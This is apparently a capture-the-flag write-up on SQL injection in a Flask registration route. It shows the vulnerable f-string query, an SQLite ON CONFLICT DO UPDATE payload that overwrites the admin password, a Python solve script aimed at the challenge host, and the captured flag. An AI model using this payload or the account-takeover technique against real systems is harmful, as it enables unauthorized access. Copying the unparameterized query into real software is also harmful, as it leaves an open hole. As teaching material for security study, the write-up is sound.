Author: RJCyber
The website initially presented a basic login and registration form.
While testing the application with various inputs, I discovered a potential vuln. Entering a simple payload like hello'
caused the /register
route to respond with a 500 Internal Server Error.
Possible SQLI vulnerability hmm, suggesting that unsanitized user inputs could be directly inserted into the SQL query.
Code Review
Upon reviewing the source code, I confirmed the SQL injection vulnerability in the /register
route:
Vulnerable codecursor.execute(f"INSERT INTO users (username, password) VALUES ('{username}', '{generate_password_hash(password)}')")
In this snippet, user inputs (username
and password
) are directly embedded in the SQL query string, without parameterization or input sanitization, allowing for malicious SQL command injection.
Flag Location
Upon further inspection, I found that the flag is accessible only through the admin
account. The /dashboard
route contains the logic for displaying the flag:
@app.route('/dashboard')
def dashboard():
if 'username' not in session:
return redirect('/login')
username = session['username']
cursor = get_db().cursor()
if username == 'admin':
cursor.execute("SELECT flag FROM flags")
flag = cursor.fetchone()['flag']
return render_template('dashboard.html', username=username, flag=flag)
return render_template('dashboard.html', username=username, flag=None)
How the Flag Is Displayed
Admin Privilege Requirement: If the logged-in user is
admin
, the application queries theflags
table to retrieve the flag.cursor.execute("SELECT flag FROM flags") flag = cursor.fetchone()['flag']
Conditional Display: The flag is conditionally rendered in the HTML template:
To access the flag, we need to log in as the admin
user. Since we don’t know the admin password, we can utilize SQL injection to manipulate authentication and access the dashboard
as the admin
.
Exploitation
Through research, I discovered a method in SQLite3 using ON CONFLICT DO UPDATE
. This allows us to update the admin password directly during registration if the username already exists.
SQLite3
We can use the following payload as the username during registration:
admin', 'meow') ON CONFLICT(username) DO UPDATE SET password = 'achuxer';--
How It Works:
- The first part (
admin', 'meow')
) closes theINSERT
statement. ON CONFLICT(username)
triggers when trying to insert an existing user.- The password is updated to
achuxer
. ;--
comments out the rest of the SQL query that follow
Solution Script: solve.py
The password is encryptedIn this context the password is hashed using a function
generate_password_hash
so the actual password stored in the database will not be in plain text.
#!/usr/bin/env python3
import requests
from werkzeug.security import generate_password_hash
url = 'https://usc-spookyql.chals.io/1ef2ec1d-b8ba-44ec-8f5d-7d07ebcd598e'
def register_user(payload):
response = requests.post(url + '/register', data={'username': payload, 'password': 'password'})
return response
def login_user(username, password):
response = requests.post(url + '/login', data={'username': username, 'password': password})
return response
payload = f"""admin', 'meow') ON CONFLICT(username) DO UPDATE SET password = '{generate_password_hash('achuxer')}'; --"""
response = register_user(payload)
print("[*] Response code: ", response.status_code)
print("[*] Logging in as admin")
response = login_user('admin', 'achuxer')
print(response.text)
After executing this, we can Get the Flag.
FLAG: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!}